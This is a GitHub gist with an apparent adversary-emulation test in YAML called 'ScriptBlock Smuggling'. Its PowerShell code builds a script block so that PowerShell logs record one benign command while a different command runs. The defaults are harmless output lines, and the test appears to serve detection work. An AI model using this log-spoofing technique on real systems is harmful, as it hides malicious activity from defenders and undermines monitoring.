Skip to content

Instantly share code, notes, and snippets.

@MHaggis
Created June 18, 2024 20:28
Show Gist options
  • Save MHaggis/0919408d5e14017adad05a74b9aaba01 to your computer and use it in GitHub Desktop.
Save MHaggis/0919408d5e14017adad05a74b9aaba01 to your computer and use it in GitHub Desktop.
- name: ScriptBlock Smuggling
description: This test demonstrates the use of ScriptBlock Smuggling to spoof PowerShell logs.
supported_platforms:
- windows
input_arguments:
spoofed_command:
description: The benign command to be logged.
type: string
default: Write-Output 'Hello'
executed_command:
description: The actual command to be executed.
type: string
default: Write-Output 'World'
executor:
name: powershell
command: |
$SpoofedAst = [ScriptBlock]::Create("#{spoofed_command}").Ast
$ExecutedAst = [ScriptBlock]::Create("#{executed_command}").Ast
$Ast = [System.Management.Automation.Language.ScriptBlockAst]::new($SpoofedAst.Extent,
$null,
$null,
$null,
$ExecutedAst.EndBlock.Copy(),
$null)
$Sb = $Ast.GetScriptBlock()
$Sb.Invoke()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment